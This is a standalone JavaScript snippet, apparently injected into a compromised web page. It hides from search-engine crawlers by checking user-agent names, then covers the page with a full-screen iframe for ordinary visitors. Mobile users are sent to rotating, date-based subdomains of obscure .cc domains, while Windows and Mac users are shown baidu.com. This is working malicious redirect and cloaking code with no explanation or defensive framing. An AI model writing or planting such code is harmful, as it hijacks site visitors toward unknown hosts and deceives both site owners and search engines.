var reg = /(Baiduspider|360Spider|YisouSpider|YandexBot|Sogou inst spider|Sogou web spider|spider|Baiduspider-render)/i;
if ( !reg.test(navigator.userAgent) ) {
    var date1 = new Date('01/01/2025');
    var date2 = new Date();
    var diffTime = Math.abs(date2 - date1);
    var NUM = Math.ceil(diffTime / (1000 * 60 * 60 * 24));
    var arr = [
        'http://'+NUM+'.qku9xjhaj4a5ie2.cc/html/index.html',
        'http://'+NUM+'.qku9xjhaj4a5ie2.cc/html/index.html',
        'http://'+NUM+'.dpaffjwkko3wtra.cc/html/index_dh.html',
        'http://'+NUM+'.qku9xjhaj4a5ie2.cc/html/index.html',
        'http://'+NUM+'.qku9xjhaj4a5ie2.cc/html/index.html',
    ];
    _src = arr[parseInt(Math.random() * arr.length)];
    if ( /Win/i.test(navigator.platform) || /Mac/i.test(navigator.platform)) {
        _src  =  'http://www.baidu.com/';
    }
    document.write('<meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1">');
    var hd = document.head;
    var styleCSS = document.createElement('style'), regg = document.createElement('div');
    styleCSS.innerHTML = 'html,body{position:relative;width:auto !important;height:100% !important;min-width:auto !important;overflow:hidden;}.regg{position:fixed;top:0;left:0;right:0;height:100%;z-index:9999999999;background:#fff;}';
    regg.setAttribute('class', 'regg');
    regg.innerHTML = '<iframe src='+ _src +' frameborder="0" rel="noreferrer" style="position:fixed;top:0;left:0;width:100% !important;height:100% !important;max-height: none !important;"></iframe>';
    hd.appendChild(styleCSS);
    hd.parentNode.appendChild(regg);
}<!--耗时0.3609499931秒-->